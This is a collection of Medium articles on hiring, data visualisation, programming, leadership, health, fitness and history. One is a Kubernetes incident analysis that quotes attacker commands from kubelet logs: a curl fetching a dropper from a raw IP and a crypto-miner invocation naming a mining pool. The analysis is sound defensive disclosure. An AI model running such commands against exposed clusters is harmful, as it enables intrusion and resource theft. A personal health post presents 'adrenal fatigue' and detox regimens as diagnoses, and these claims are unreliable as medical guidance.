job description Remote employees won’t be present in an office where you can easily supervise them or pick up on their personality traits. The traditional method of evaluating performance through hours spent in an office doesn’t apply in this context, so make sure to think about the kind of person you are looking for in your team. One of the essential traits for remote workers is translating complex concepts into words and tasks — communicate that in your job posting. A pro tip: Make a profile of your ideal candidate, but not by years of experience. Instead, focus on their character traits, reactions, and abilities. This will help you outline the requirements in the job description much easier. Advertise the job in the right places Of course, you should start by posting the job on your company’s website/ career page and any other recruitment channels you use. Then, post the opening on one of the many remote job boards, like Remotive, We Work Remotely, and Remote.co — it’s where you’re most likely to find seasoned remote professionals. Spreading the word on social media, particularly Twitter and LinkedIn, is beneficial if you use the right hashtags. Also, make sure your team members amplify the search by sharing the posting on their feeds. Come up with tasks When hiring remote workers, you need them to demonstrate their skills and qualifications quickly and effectively. Identify the core responsibilities for the position and make trial tasks — anywhere between 1 and 3 assignments. Don’t make them too time-consuming or complex since your candidates may have jobs to do and families to take care of, and job-hunting shouldn’t be a job in itself. A fraction of the workload is enough to see how someone manages the assignments, whether they’re creative or not, and how they respond to various situations. It’s a good idea to organize a follow-up session after the task. In this session, you can go over the candidate’s work, ask for clarification, and collaborate on refining the result. Make sure to keep the session short but productive, which will reassure the candidate that your company is well-versed in remote collaboration. Prepare for the interview Job interviews are usually stressful both for the candidate and the recruiter. If you add the online component to the mix, it’s easy to imagine how poor internet connections and family members in the background could ruin the time entirely. Remote job interviews differ from traditional ones in several ways; they are more informal, as you will be peeking into the home or coworking space of your candidate and vice versa. Embrace this informality and reassure the candidate that internet breakups will not affect the call itself. If you are interviewing a candidate from a different country, take some time to know them. Here are some steps to take: Be informed about their time zone, country, or even how their name is pronounced. The research takes only a couple of minutes before the interview, but it can save you the embarrassment of not knowing who you’re talking to. Give feedback Some companies receive hundreds of applications for a single job posting. It’s fair not to respond to everyone who applied if you announce in your posting that you’ll only contact those who are being considered. However, as your hiring rounds progress, take some time to give feedback to candidates who weren’t selected. A couple of sentences can go a long way in providing the candidate with a sense of value and appreciation. Job seekers appreciate constructive feedback that helps them improve, and companies benefit from making a good impression during the selection process. Organize a great onboarding experience Once you have selected your perfect candidate, it’s time to welcome them to the team properly. This means making sure that someone can show them around on their first day, just like in an actual office. Start by introducing the new colleague to the team in your virtual lobby — a Slack channel for general discussion and non-work-related chat. Make a checklist for all the tools and equipment the new hire needs to have on their first day — their email, project management login, a walkthrough of communication protocols, etc. Consider assigning an onboarding buddy who can help new colleagues join the company smoothly. Draft a remote work policy Companies have rulebooks and protocols in place for virtually every aspect of their employee’s work, and this should be the case with remote employees too. A remote work policy is an essential document outlining procedures, responsibilities, and company culture. It should cover the availability expectations, work hours and schedules, equipment, employee allowances, security and privacy, and any other aspect affected by remote work. Working remotely has many advantages, but it can quickly be confusing or overbearing without clear guidelines for both the company and employees. Keep updating the company culture Hiring remote employees is a process with a clear endpoint, but retaining talent is an ongoing project. Keep communication lines open and frequently discuss the overall experience with team members. Companies will need to evolve their culture constantly and motivate their employees in new and exciting ways. Keep an idea book handy and use it to write down suggestions for team building activities, benefits you can offer, and projects to encourage your remote team’s work-life balance.

https://medium.com/gable/recruiting-remote-employees-a-complete-guide-e2340fbad470

[]

2021-01-22 22:53:27.142000+00:00

['Management', 'Remote Working', 'Employment', 'Recruiting', 'HR']

Exploring New York City Event Permits with Vega-Lite

By visualizing information, we turn it into a landscape that you can explore with your eyes, a sort of information map. And when you’re lost in information, an information map is kind of useful. - David McCandless (Journalist and Information Designer) You’ve landed on one of the tens of thousands of datasets in Enigma Public, the world’s broadest repository of public data, and are interested in exploring it visually. Given the infinite range of visual forms that are possible to represent any dataset, the options may feel overwhelming. A good tool helps to constrain this vast design space, and gives the user a solid set of principles to build upon. Vega-Lite is a layer of abstraction on top of d3.js. Developed at the University of Washington Interactive Data Lab, it is a web-based “grammar of graphics” that gives users the power to rapidly experiment with different visual encodings for their data. As a web based tool, it lets the user create both static and interactive data graphics, making it an excellent item to have in any data explorer’s toolbox. Click to read my interactive tutorial on exploring data with Vega-Lite! Never heard of Observable Notebooks before? Read on! Data scientists and journalists alike love using “notebook”-style tools such as Jupyter (in contrast to plain text editors) for many reasons, including Ability to present text, code, and graphics side-by-side Ability to run and iterate on code one section at a time through “cells” A better overall coding experience Observablehq is a free, web-based notebook for data science, founded by a team of folks with roots in the open-source data visualization community (Mike Bostock, Tom MacWright). Unlike Jupyter, readers can view and run Observable notebooks without needing to install anything, making it an ideal tool for sharing reproducible and interactive analyses. _______________________________________________________________ Interested in solving complex, unique problems? We’re hiring.

https://medium.com/enigma-engineering/exploring-new-york-city-event-permits-with-vega-lite-f83178ff9a8d

['Cameron Yick']

2018-04-03 14:06:39.412000+00:00

['Open Data', 'D3js', 'Vega Lite', 'Engineering', 'Data Visualization']

When I planned to become a writer, I failed and got me stuck for years

Photo by 青 晨 on Unsplash I had this idea of getting into university to get my literature knowledge up to speed, to learn the terms, types of literature, redaction styles, and in the process find my own voice. I got into comparing myself with other classmates I admired. I could see my classmates blossoming their unique writing voice, but I didn’t. Our teachers started to challenge us more, my personal life was bad, my attitude was dragging me down even more into feeling left out. I tried to use my personal issues as being the purpose of my lack of improvement. There was this belief that the messier the life of a person, the better writer it can strive to be. B**S**t! Before university, I had been writing daily, either journaling or writing stories (long and short) for close friends, some just for me. Once in university, I had this perfectionist mentality that only stomped my writing habit, it didn’t come from the teachers, it all came from me: comparing myself to others I admired, belittling my ideas, and invalidating my voice. I stopped going to school, stopped all writing, I stopped even reading books. I was just so fed up with the feelings of failure. I had created a plan to become a writer and it went horribly wrong. I didn’t feel like I thought I would, I didn’t have the automatic response to improve my writing. I had to cut off everything that was related to that dream I had.

https://medium.com/@dynamicerika/when-i-planned-to-become-a-writer-i-failed-and-got-me-stuck-for-years-82283f24a712

['Erika Becerra']

2021-01-03 23:58:54.894000+00:00

['Failure', 'Stuck In Life', 'Writer', 'Writing', 'Self-awareness']

Getting Started with Competitive Programming 👨🏻‍💻

March 24, 2020. Almost all of the colleges in India are shut due to the COVID-19 pandemic. We know you might be bored to death at home. If you are someone who has heard about “Competitive Programming” either from your seniors or your peers but still don’t know what it is about then this article might help you out. This article will be more relatable to the undergrads studying in Indian colleges, possibly someone who took a semester of maybe programming in C or Python, depends on your curriculum. We tend to put Competitive Programming on this pedestal as it helps us bag better career opportunities in the software industry. What is it ? Google code jam Competitive Programming is a mind sport. That’s true. Competitive programming contests are usually contests that have people solve algorithmic puzzles and challenges with a given time and memory constraint to make things more fun. You know, the kind of puzzles that would have you write a program to find the solution. Such programming competitions involve solving a set of logical or mathematical problems, and contestants are required to write a program to solve the problem. Programs can come from the fields of combinatorics, number theory, graph theory, string analysis and data structures or any field closely related to mathematics or computer science. Read the following to get the gist of the problems usually asked. Longest Sub-string from leetcode.com How does it happen ? It starts with you reading the problem statement. Let’s go over a sample problem. This is from codeforces. You think a little, code something, test it, its wrong, you think again, code again and finally arrive to the correct solution. You copy your code, paste it in the submit section and hit submit. Now your submitted code will be tested against a lot of test cases. If your code gives the correct output in the given time and memory constraints, Congratulations! you just solved your first problem. yay Competitions usually have a set of problems that you have to solve say in 3 hours. Each correct submission rewards you some points. The one with the max score wins 😬

https://medium.com/dsckiit/getting-started-with-competitive-programming-bc26d4a9579f

['Junaid Rahim']

2021-04-03 06:47:48.029000+00:00

['Cpp', 'Getting Started', 'Competitive Programming', 'Beginner', 'Leetcode']

How to use the Request Processing Analyzer to analyze the recent requests in AEM

How to use the Request Processing Analyzer to analyze the recent requests in AEM Albin Issac Follow Jun 4 · 4 min read The “Recent Requests” is a very useful feature on the OSGi Felix Console to know what going on at each request, how is Sling resolving the resources, and the time taken to load the sub-resources. This will helps us to debug the resource resolution issues and also to capture the time taken to process the resources. By default 20 recent request is captured into the recent request console — http://localhost:4502/system/console/requests The value “Number of Requests to Record” can be changed in the Apache Sling Main Servlet through OSGI console — http://localhost:4502/system/console/configMgr/org.apache.sling.engine.impl.SlingMainServlet Also the “Recorded Request Path Patterns” can be specified in Apache Sling Main Servlet configuration to only capture the paths that match the pattern — e.g capture only the JSON requests. Unfortunately, this will not help us to trace millions of requests through the console, and also only the recent values will be shown based on the configuration. Sometimes we may need to analyze huge requests during the load testing to identify the time taken by individual requests and to identify the requests that taking more time to process. Sling Request Processing Analyzer help to achieve the above scenario. Sling Request Processing Analyzer logs each request in a special file — ${sling.home}/logs/requesttracker.txt with a header line providing core information on the request: Start time stamp in ms since the Epoch Request processing time in ms Request Method Request URL Response content type (plus character encoding if available) Response Status After that first line, the complete data from the requests RequestProgressTracker is dumped. Configuring Request Processing Analyzer Download the Request Processing Analyzer bundle from https://github.com/apache/sling-org-apache-sling-reqanalyzer Build the bundle — mvn clean install Install the bundle(org.apache.sling.reqanalyzer-0.0.1-SNAPSHOT.jar) from target folder to server through OSGI console- http://localhost:4502/system/console/bundles This will create a new log file — requesttracker.txt under ${sling.home}/logs and capture all the request details into the log file. Analyzing the log file The generated log file can be analyzed through the below command. java -jar C:\sling-org-apache-sling-reqanalyzer-master\target\org.apache.sling.reqanalyzer-0.0.1-SNAPSHOT.jar requesttracker.txt This will open the Swing GUI with basic request details — click on individual request to see more details about the request Click on Analyze Now action, this will open the same Swing GUI shown above. Dumping the details to separate log file The Request Process details can also be dumped to a separate log file for reference through Apache Sling Request Progress Tracker Log Filter — no bundle is required to be installed but this file can’t be analyzed through the approach explained above. The dumped file details can be used for manual analysis. Define a new logger with the below details. Configure Apache Sling Request Progress Tracker Log Filter Configure the Extension filter with required file extensions for those the request details should be captured. Select “Compact Log Format” — this will print the logs fin a more readable format. Conclusion The Request Process Analyzer is a useful sling feature to analyze the processing times of Sling requests. This will helps us to debug the resource resolution issues and to capture the time taken to process the resources. Sometimes we may need to analyze huge requests during the load testing to find the time taken by individual request and to find the requests that taking more time to process the default “Recent Feature” will not help here as this capture only the limited number of recent requests but the Sling Request Processing Analyzer can be used to capture and analyze huge request data.

https://medium.com/tech-learnings/how-to-use-the-request-processing-analyzer-to-analyze-the-recent-requests-in-aem-1a92cc8af1ad

['Albin Issac']

2020-08-06 17:33:40.716000+00:00

['Aem', 'Adobe', 'CMS', 'Programming', 'Software Development']

How Leaders Can Solve Their Biggest Communication Problems

The internet hasn’t always existed. No, really. I’m telling the truth. I know because I was there. At one point in time, we had friends and people who liked us. But, we didn’t know what it meant to “friend” someone or get your status “liked”. Language was different. Slang and colloquialisms were different. It was a different time. Although I’m being slightly nostalgic, I won’t start writing about the “good ol’ days”. The fact is they were just the “different days.” They were good for those who made them good, just as it is now. However, there IS something that has not changed…how people connect. The other day I was driving through a neighborhood on the outskirts of Baltimore and I saw a family sitting on their porch. They weren’t talking. They weren’t laughing. No one was on a phone or mobile device. They weren’t doing anything but sitting there. Yet, they had extremely pleasant looks on their faces. I was stopped at a light and I took the time to watch them as they people watched. It brought back a picture of pre-television entertainment. For most of us, it is unfathomable what people did before there was TV or internet. To us, it seems people simply suffered through boredom until someone came to rescue them with modern technology. We often miss the reality that there are still parts of the world where no TV or internet exists and yet, the people in these areas find a way to lead happy lives. What is it that connects them? Stories. This seems to be the base of connected communication. Stories help us to create mental pictures. These mental pictures help us to place ourselves in the shoes of others. Said differently, stories increase the empathic connection. This is why it is so much more powerful when you share an experience rather than simply giving instructions. When you are at an event and someone asks the typical question, “so, what do you do”, a powerful response can involve a quick story about what you were involved in yesterday. This is much more likely to invoke a conversation than simply saying, “Oh, I fix computers and build networks.” Well, that’s interesting. When society consisted of sitting around the firepit at night, shepherds simply hanging out in the fields all day, or homesteaders preparing the land, their bond was in conversation and the best storytellers (true or false) were the ones who held rapt and attention and made connection. This is still true. The best storytellers create the highest emotions, ask the greatest questions or simply cause us to ask questions of ourselves. Think about your most treasured conversations. Are they simply a list of instructions, facts and figures or do they involve stories? If so, then why do we minimize then in our “professional” conversations? The answer lies somewhere between a fear of being judged/vulnerable and a desire to separate our worlds because of our lack of passion in one. We push individuality and promote the false idea that independence means doing it on your own. We fear connection because with connection comes community and with community comes responsibility. This doesn’t mean the responsibility to perform a specific task. It means the responsibility to care and contribute to others. This is difficult because it means that some days, it will be messy. It means some days will be more challenging than others. But, it ultimately means possibility…possibility for the connection to grow stronger through understanding and shared experiences. This is the heart of story. They are meant to help us understand, connect, communicate, heal and serve each other. Stories take place in every moment. But, we can’t connect, communicate or create impact unless we tell them. Quite simply, leaders who want to communicate effectively, connect deeply must grow in the art of telling stories. Because the firepit is where leaders are born.

https://medium.com/leading-with-purpose/how-leaders-can-solve-their-biggest-communication-problems-fcdfba5e9a48

['Robert Kennedy Iii']

2016-10-13 14:55:28.142000+00:00

['Communication', 'Leadership', 'Love', 'Storytelling']

How Adobe Experience Platform is Using Event-Driven Automation to Enhance Customer Experience

This article provides a behind-the-scenes look at how Adobe Experience Platform is using event-driven automation to improve reliability and stability. In today’s world of microservices and loosely coupled software modules, events are often the binding pieces of how the desired functionality is achieved. Software components generate events and corresponding actions on these events define how the components would behave. These events might be the signal generated by users making requests, or base computing components sending in failure indications, or even the applications pointing out the potential issues due to different inputs. Even when developers have access to generated events and know the sequence of actions that are required to be taken to complete a process, they are required to write a significant amount of code to implement them. Not surprisingly, this resource-intensive process has enterprises looking at several available technologies to automate these complex sequences of actions. Enter event-driven automation (EDA). EDA offers enterprises the ability to increase efficiency in their operations by replacing manual processes with automated workflows. Event-driven automation defined EDAs are computer programs written to “listen” and respond to events generated by the user or the system. Applications rely on programming that separates event-processing logic from the rest of its code. With EDA, an event can be any identifiable occurrence that has significance for the workflow for which it is designed. Examples might include events caused by a large user-generated volume of requests and system-generated events such as program failing to load, sensor outputs, or messages from individual threads. EDA is accomplished through sensors that listen for the events, which then trigger a potentially complex sequence of actions either sequentially or in parallel. These actions form a workflow where values derived from a set of actions are passed through to a subsequent set of actions based on specified conditions or predetermined criteria. These actions can be written in any programming language to improve responsiveness, throughput, and flexibility in a given workflow. EDA offers endless possibilities for improving workflows At Adobe Experience Platform, we’re exploring how EDA can be used to analyze operational patterns and develop mechanisms to address bottlenecks in our processes. One of the biggest advantages of using EDA for workflows is that it works around the clock without human intervention. Adobe teams are using EDA internally for several different kinds of workflows ranging from auto-remediations of alerts received from system and application, achieving scalability of application proportionate to the user-generated load, security remediations, and providing information to teams on the ongoing health of the system. Currently, our teams have identified a wide variety of use cases including: Auto-remediation of Resque job deadlock and Sidekiq job failures Selective remediation of Solr collections Health check and pipeline restart while messages are queuing up Recovery of quarantined streaming segments in Siphon Stream Auto-remediating lag when while copying data in MirrorMaker processes Scheduled and manual recovery of failed Kafka messages Autoscaling of Kafka broker on high load Auto-remediation of alerts coming from Nagios such as journal threads, OOM, disk space, etc. Detection of vulnerable security policies CSO’s problem management using auto-remediation to improvise problem management Implementation challenges In order to successfully implement a workflow using EDA, teams must do two things: first, detect the events on which they want actions to be taken, and then identify the appropriate action sequence. The EDA system needs to be provided access to the environment where the event-driven automation has to be executed. This requires the networking layer to work in accordance with the requirements of the application and EDA both. While EDA is expected to provide higher uptime, and better reliability to the applications utilizing it, it is even more important for EDA itself to be highly available and not fail. Its hosting architecture needs to ensure that the EDA system is scalable as per the load and has redundancy built in to ensure continued availability in case one part of the system fails. Figure 1: Event Driven Automation Hosting Architecture How are we building event-driven workflows? Adobe Experience Platform uses API-first design to make all of its functions available to developers for use with Adobe Experience Platform services, Adobe solutions, and third-party applications. EDA honors the design principles prescribed by AEP and provides AEP developers the freedom to develop in open development manner. Our developers are free to write their own code and workflows to provide actions in response to the events they wish to address. Early results have been very successful. With one of its first automations in the production environment, AEP developers were able to execute approximately 900 workflows within the first two months for social, saving more than 30 potential major outages. Figure 2: Event Driven Automation — Social Use Case for POC Automation creates new opportunities for innovation Innovation has long been recognized as a key driver of success. Virtually any type of mundane, repetitive task or set of tasks currently handled by people could unleash new levels of creativity and productivity if automated. Here at Adobe, we know that when we optimize our workflows, we optimize our people — freeing them to focus on what they do best. With several event-driven workflows currently under development and more on the way, we are improving the stability and reliability of Adobe Experience Platform and giving our developers more time to focus on developing new and innovative solutions for our customers. Follow the Adobe Tech Blog for more developer stories and resources, and check out Adobe Developers on Twitter for the latest news and developer products. Sign up here for future Adobe Experience Platform Meetups.

https://medium.com/adobetech/how-adobe-experience-platform-is-using-event-driven-automation-to-enhance-customer-experience-d1ee3e4d3118

['Jaemi Bremner']

2019-07-10 00:06:29.268000+00:00

['Automation', 'DevOps', 'Platform', 'Adobe', 'Software Development']

Analysis of a Kubernetes hack — Backdooring through kubelet

The hack The compromised cluster was a single node Kubernetes deployment running on top of Alpine Linux. The first indicator of compromise was a suspicious process running as a child of the docker daemon: /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B curling the endpoint returns the following text: Mining Proxy Online :( It appears someone found a way to drop some crypto mining software on a running container and execute the process. Searching for the file udevs in the docker overlay directory for the container ( /var/lib/docker/overlay2/b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) uncovered a dropper script named “kube.lock” which downloaded the mining software from transfer.sh and executes it. Additionally, the MD5 signature (a4404be67a41f144ea86a7838f357c26) for the /tmp/udevs program matches this definition for a possible Monero Miner on VirusTotal: So we know the attacker somehow got the kube.lock script in the container and executed it — but how? The kubernetes api-server was publicly exposed to the internet — but protected with certificate authentication, so our first inclination was a possible supply chain attack on one of the images running in the cluster. However, upon inspecting the kubelet logs we spotted something: /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl ... .../var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332]' from runtime service failed: rpc error: code = Internal desc = transport is closing/var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing... It would appear the attacker was somehow issuing exec commands to kubelet. Immediately googling for Kubelet authentication returns this good text from the Kubernetes docs: By default, requests to the kubelet’s HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a username of system:anonymous and a group of system:unauthenticated . Unless you specify some flags on Kubelet, it’s default mode of operation is to accept unauthenticated API requests. Keep in mind that in order for master -> node communication to work, the Kubernetes API server must be able to talk to kubelet on your nodes. As it turns out, our coworker’s server was also publicly exposing the kubelet ports (tcp 10250, tcp 10255). Although the problem here was obvious, it should raise some questions about your own Kubernetes deployment, as it did for us. If your users have network access to your nodes, then the kubelet API is a full featured unauthenticated API backdoor to your cluster. That is, if you’ve gone through the trouble of enabling Authentication and Authorization (webhook, RBAC, etc) then you should also ensure your kubelet is properly locked down. There’s a couple issues floating around raising concern over the security of Kubelet communication, but we feel this issue is not getting the attention it deserved.

https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c

[]

2018-03-14 19:54:14.390000+00:00

['Infrastructure', 'Security', 'Docker', 'Kubernetes']

Why I’m thankful I had a miscarriage

I had a miscarriage April 15, 2019. I was devastated. How could this happen to me?? My first pregnancy was a fertility breeze with no complications and a natural birth at full-term. Being a self-described health junkie and a nurse, I thought I was Fertile Myrtle. I looked at my husband and got pregnant. Sure I was in my mid-thirties but my eggs were strong and healthy, weren’t they? I took fish oil, I ate spinach salads, I bought mineral sunscreen. …But deep down knowing that my body couldn’t support another life meant something was wrong. Yes, it could have been a fluke and a chromosomal abnormality but I still wanted to see if I was as “healthy” as I thought I was. So I went to see a naturopathic and environmental doctor. She spent an hour going through my entire health history - I’m talking about birth to chicken pox to how many times I’ve been on antibiotics, to what type of blinds and water filter we have, and if we have wi-fi (no joke, that was a question). She agreed my symptoms were vague — brain fog, low energy, recent miscarriage — but worth looking into. At the end of the appointment she ordered 4 tests: GI- MAP to look at my gut and intestional health: https://www.diagnosticsolutionslab.com/tests/gi-map DUTCH Complete test to look at adrenal function and hormones: https://dutchtest.com/info-dutch-complete/ Genova Nutra-eval to look at nutrients I was deficient in and toxic heavy metals: https://www.gdx.net/product/nutreval-fmv-nutritional-test-blood-urine GPL- TOX to look for toxic non-metals like pesticides, phthalates, and endocrine disruptors: https://www.greatplainslaboratory.com/gpl-tox I went home with all these tests in hand feeling like I was on the verge of something ground-breaking, like someone had just given me a map to the Fountain of Youth, and all I needed to do was follow it. I didn’t have the secrets yet but the thought that these tests might provide me with some answers, got me through the next 5 weeks. Finally, the day came to discuss the results and start doing something about it. The tests showed slight mercury poisoning, Candida overgrowth in my gut, adrenal fatigue (basically my adrenals were pooped and not making estrogen or testosterone), and very high levels of environmental toxins including organophosphates, perchlorate, acrylamide, and styrene. The treatment would be 4 months of different supplements, infrared sauna, and a diet makeoever to try and detox the harmful chemicals and jumpstart my adrenals. I’m now 3 weeks into the 4 months and it’s been a rough start. I have 10 supplements to take at different times of the day. I’ve had to redo my whole food routine, forgoing bread, pasta, cocktails, desserts, French fries, ice cream, the list goes on. I’ve had to give up a lot but I have much more to gain. I keep thinking that I’m doing it for my health and the health of my future baby. That’s what keeps me going. I had a miscarriage April 15, 2019. But I’m thankful because it was a wakeup call and it made me get on the road to get truly healthy.

https://medium.com/nurse-angela/why-im-thankful-i-had-a-miscarriage-c3e51f2ece2c

['Nurse Angela']

2019-07-11 14:01:01.203000+00:00

['Miscarriage', 'Health', 'Baby', 'Toxic Chemicals', 'Natural Medicine']

Reasons to take Krav Maga

With all of these fun holidays around the corner, you know that there is tons of food involved. Yummy turkey and warm mashed potatoes or maybe a cookie for Santa? All kinds of deliciousness but once it’s the beginning of the year have you thought about a New Year’s resolution? I know many people set a new year’s resolution to burn off all that turkey but what if working out isn’t really your thing? I know personally, I always set a goal to get in the gym and work on an “ideal body” and I usually stick to it for a few months but recently I found an excellent company to help you burn the fat while still having a good time. It’s called Krav Maga, It’s a military self-defense and fighting system. It’s a workout that could save your life! In Krav Maga, they teach you combative moves that you can use if you are ever in danger. It’s a mechanism that is used by the FBI and SWAT teams as well as high-end gyms used for workouts. I know that a few gyms have classes that teach this mechanism but the company I went to only taught Krav Maga.I did Krav Maga for about 6 months and it changed the way I viewed working out! It was fun and fast-paced and the teacher always encouraged us while doing the workouts. The instructor pushed us to our limits and showed us many ways to defend ourselves. This workout- brings the bada** out of you! Seriously! After an hour session, you will feel like you can take on the world! I originally took this class because being a young woman in a big city I wanted to learn a couple of self-defense mechanisms just in case I was ever in a bad situation. I learned so much in the short period of time I did this workout and I strongly suggest you take a class! Most Krav Maga companies offer the first class free so this gives a chance to people to try it out and see if it’s for them. I have provided a link down below so you can checkout this company and see if there is one in your location! Colorado Krav Maga Professional Training Centers | Self-Defense, Fighting, Fitness Working out can sometimes be a drag I know I struggle with pushing myself when I just go to a basic gym. Unless you invest in a personal trainer it’s easy to take frequent breaks or to not push yourself to the limit. This is not the case in Krav! Your trainer will make sure you feel the burn! To build muscle you’re supposed to feel that “burn” if you’re not pushing those muscles you will not build stronger muscles. In Krav, there is no way you can’t feel the burn! You don’t just focus on one part of your body but the whole body gets a full workout. You work your leg muscles through kicking and running and you work your upper body by throwing punches and lifting weights. This company will help you build the confidence you need! After working with this company and going to a class twice a week I became way more confident in myself. I felt overall safer and more aware of my surroundings. Unfortunately, we live in a world where kidnapping and sex trafficking is real! Taking precautions and learning ways to keep yourself safe while exercising is the best way to commit to a New Years’ resolution. There are plenty of ways to burn calories but signing up for Krav is more than that! This workout could save your life! Not only did I build confidence in myself, learn techniques, and meet my personal body goals but I made a lifelong friend. I met some amazing people throughout this program. I became super close to a girl named Vira. She had done Krav for 3 years and helped me build confidence in myself by complimenting me and giving me encouraging advice. Even though I no longer workout at Krav because my schedule is too packed I plan to commit some of my time this following year to get back into the program. I will always recommend Krav Maga to anyone looking for a fun workout because this company helped me meet my body goals and they can help you too!

https://medium.com/@lexiphilipp2/reasons-to-take-krav-maga-340df15ebc1d

[]

2020-12-14 01:17:00.904000+00:00

['Praxis', 'Krav Maga', 'Safety']

Echo messages from LINE chat to Slack

Pass messages to Slack channel whenever the bot receives a message Now, we will use Node.js to write the message passing part. Create a new folder and download index.js, package-lock.json, and package.json from the following github link: To setup the configuration easily, we will create a file named .env in the same folder. We then declare our channel_secret, channel_access_token, and intended port. We also need to install the some packages. We can type the following commands in terminal: npm install # download line-sdk listed in package.json npm install dotenv # for enabling the file .env npm install node-fetch # for posting api Great 👊 Let’s rewrite codes in index.js for posting messages to slack whenever the LINE bot receives a message: Last step is to run this Node.js server in a place where we can get a public url (It must use https. LINE’s webhook does not accept http 😧) You choose between: export your localhost ip using ngrok. use firebase function, which is highly recommended since it is easy and fast to setup for production. In my case, I run it on Google Cloud Platform, where I already setup an apache server to host another website. (Yes, running node.js server and apache server on the same machine was such an arduous work 🙀 I’ve shared my experience in this post 👉 Run Node.js application on Apache server) In either method, you may start your node.js server by typing this command in the terminal: node . Then verify your webhook in LINE’s developer console with your public url (Mine is the GCP machine): TADA! That’s all 🎊🎊🎊 Now all the messages received by your LINE bot, either texts you directly send to it or those it eavesdrops in the group’s chatroom, will be sent to our slack channel 🙌

https://medium.com/@wendeehsu/echo-messages-from-line-chat-to-slack-e12f5d929b81

[]

2020-12-20 01:00:19.507000+00:00

['Bots', 'Slackbot', 'Line']

How To Get Followers On Medium

#1. PUBLISH MORE STORIES This is one of the best method for beginners to get followers on medium. Medium is the best Platform to share your opinions, experience and other stuff related to your life, achievement, ideas etc . If You Publish Story on medium in certain topic then medium algorithm will distribute your story to peoples who are interested in that topic. When I Started Publishing Story on the medium then I realised that publishing more stories give better results but the quality also matter because Quality always beat quantity. But If you publish more quality stories regularly and consistently then your chances of getting followers on medium increases. But, this method will only work if you publish Quality Content Consistently. Your success on medium depends on medium success as company. If You Publish Quality Stories on medium in certain topic then medium can also curate your story which will be positive sign for you. Medium wants Quality Content to show other people if you post quality and good content then medium will definitely promote your story to other people. But, the disadvantage of this method is that, you not have an existing audience as you are begineer. You not have an followers to read your stories so that First Of All, You need to build your audience base as well as your skills of writing. If You want to increase your follower then Publish your stories in publication and try to publish excellent stories so that medium will curate those stories and will play major role in your success as a writer on medium. We will discuss about Publication and curation on medium beacause after you publish your story then curation play an very important role. #2. PUBLISH YOUR STORY IN POPULAR PUBLICATION If You want to increase your followers on medium then publication plays a very very important role. Publications are the Golden key if you want to increase your followers on medium but it is not that easy because it is very hard to get into good and popular publication in the beginning. If you wrote an excellent story and follow the rules of Publication then your chances of getting into that publication increased. But, If you are really new in this field then focus on the smaller publication which accepts every type of Story. You Should try to get into Medium Owned Publication but it is not really easy because medium owned publications have very very strict rules and it is really very hard to get into that but it is not impossible. If you are a beginner in this field then you should try the publication like ILLUMINATION or Smaller Publication which accept all type of stories. Publications already have an existing audience that you don't have that's why publication plays an important role if you want grow on medium. As I said earlier, it is not easy to get into popular publication but if you follow guidelines, rules and regulations then your chances of getting published in that publication increased. The Publication followers will read your story and if they like your content then they will follow You as well as it will help you to grow your earnings. So, As a beginner writer,you should try to get into some smaller publication or publication like Illumination to grow your Followers Exponentially.

https://medium.com/feedium/how-to-get-followers-on-medium-2292bd08aae7

['Sarthak Nimje']

2020-07-29 12:52:34.178000+00:00

['Medium Followers', 'Médium', 'Medium Publications', 'Ｍedium', 'Medium Partner Program']

Mapping Classical Antiquity: Exploring the Ancient World through the maps created by ancient peoples

Mapping Classical Antiquity: Exploring the Ancient World through the maps created by ancient peoples Lewis D'Ambra Follow Jul 11 · 6 min read Possible Invasions and Migrations during the Bronze Age Collapse The aim of this publication is to explore, through maps, texts and historical accounts of expeditions, what the people of what we can loosely call Classical Antiquity knew of the world and how their knowledge of the world’s geography evolved, changed and grew over time. Through this we will see how antique civilisations interpreted this knowledge and how this knowledge in turn influenced their world view. The series of articles following this one will trace the story of knowledge of the world from the dawning of the classical age in ancient Mesopotamia, through the Greeks, Phoenicians and Romans, to the end of the classical world where so much of that accumulated knowledge was lost and forgotten. However, before we can dive into the detail of the evidence, we need to set the context and parameters of our period of exploration. Dating Classical Antiquity is a difficult business, the period roughly covers the millennium from the re-emergence of civilisation after the Bronze Age collapse to the collapse of antique civilisation itself about 1500 years ago. However, the exact definition of the boundaries of this period is open to dispute. Some historians place the start of Classical Antiquity at end of the Greek Dark ages[1], using the date of the first Olympic Games[2] in 776 BCE as a starting point. Other historians use the founding of Rome in 753 BCE[3] as its start, and others still will pick out different events to place its beginning. The only consensus being of a start point in roughly the 8th Century BCE. Romulus and Remus suckling a she-wolf The end of the period is even more disputed, some historians use the fall of the Western Roman Empire in 476 CE[4] to mark the end of Classical Antiquity. Others place the end with the death of the Emperor Justinian in 565 CE[5] and yet more still with the coming of Islam in the 7th Century CE. For the sake of clarity, for this series we are going to use the first Olympic games in 776 BCE as the start point for our period and the fall of the Western Roman Empire in 476 CE as the end of Classical Antiquity. This allows a broad scope but with definitive boundaries not tied to the lives of individuals but geopolitical events with a clear start and end point. In between these epoch marking dates, the world would see the rise and fall of Assyria[6], Babylon[7] and Persia[8], the conquests of Alexander[9] and the domination of Rome[10]. Alexander the Great Throughout the period, ideas, knowledge, and religions would shift and change, fundamentally altering the face of civilisation. However, there would be a consistent and continuous streak running throughout as knowledge of the world was passed down and developed, linking Babylon to Greece and Persia to Rome. Through the maps these civilisations drew and the explorations of important characters, events, texts, and cultures we can track this development and see the impact it had throughout this thousand-year period and beyond. Each of the following articles will focus on a map, a character or an important event or account 